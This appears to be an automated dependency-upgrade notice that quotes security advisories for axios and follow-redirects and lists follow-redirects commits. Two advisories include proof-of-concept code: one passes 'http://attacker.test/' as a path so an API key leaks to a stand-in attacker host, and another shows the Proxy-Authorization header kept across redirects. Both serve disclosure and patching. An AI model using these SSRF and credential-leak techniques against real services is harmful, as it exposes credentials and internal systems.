🚨 axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: #6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";
const internalAPIClient = axios.create({

baseURL: "http://example.test/api/v1/users/",

headers: {

"X-API-KEY": "1234567890",

},

});
// const userId = "123";

const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

3. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

🚨 Server-Side Request Forgery in axios

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

🚨 Axios Cross-Site Request Forgery Vulnerability

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

🚨 Axios Cross-Site Request Forgery Vulnerability

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

🚨 follow-redirects' Proxy-Authorization header kept across hosts

When using axios, its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.

Steps To Reproduce & PoC

Test code:

const axios = require('axios');
axios.get('http://127.0.0.1:10081/', {

headers: {

'AuThorization': 'Rear Test',

'ProXy-AuthoriZation': 'Rear Test',

'coOkie': 't=1'

}

})

.then((response) => {

console.log(response);

})

When I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.

Impact

This vulnerability may lead to credentials leak.

Recommendations

Remove proxy-authentication header during cross-domain redirect

Recommended Patch

follow-redirects/index.js:464

- removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);
+ removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers);

🚨 Follow Redirects improperly handles URLs in the url.parse() function

Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.

🚨 Exposure of Sensitive Information to an Unauthorized Actor in follow-redirects

Exposure of Sensitive Information to an Unauthorized Actor in NPM follow-redirects prior to 1.14.8.

🚨 Exposure of sensitive information in follow-redirects

follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor

See the full diff on Github. The new version differs by 51 commits:

• Release version 1.15.9 of the npm package.
• Attempt much more gentle detection.
• Fix url field.
• Release version 1.15.8 of the npm package.
• Return subtlety.
• Fix native URL test for Node 20.
• Handle KeepAlive connections in tests.
• Test on Node 20 and 22.
• Fix typo.
• Release version 1.15.7 of the npm package.
• Graceful browser degradation.
• Release version 1.15.6 of the npm package.
• Drop Proxy-Authorization across hosts.
• Use GitHub for disclosure.
• Release version 1.15.5 of the npm package.
• Preserve fragment in responseUrl.
• Release version 1.15.4 of the npm package.
• Disallow bracketed hostnames.
• Prefer native URL instead of deprecated url.parse.
• Prefer native URL instead of legacy url.resolve.
• Simplify _processResponse error handling.
• Add bracket tests.
• Do not directly set Error properties.
• Release version 1.15.3 of the npm package.
• Fix resource leak on destroy.
• Split linting and testing.
• build: harden ci.yml permissions
• Release version 1.15.2 of the npm package.
• Default to localhost if no host given.
• Throw invalid URL error on relative URLs.
• Use type functions.
• ternary operator syntax fix
• HTTP header lines are separated by CRLF.
• Create SECURITY.md (#202)
• Release version 1.15.1 of the npm package.
• Use for ... of.
• Fix redirecting to relative URL when using proxy
• Release version 1.15.0 of the npm package.
• Add headers to request details
• Pass status & request details to beforeRedirect (#198)
• Test on Node 18.
• refactor: replace deprecated String.prototype.substr() (#196)
• Release version 1.14.9 of the npm package.
• Keep headers when upgrading from HTTP to HTTPS.
• Reduce nesting.
• Release version 1.14.8 of the npm package.
• Drop confidential headers across schemes.
• Release version 1.14.7 of the npm package.
• Drop Cookie header across domains.
• Release version 1.14.6 of the npm package.
• Ignore null headers.

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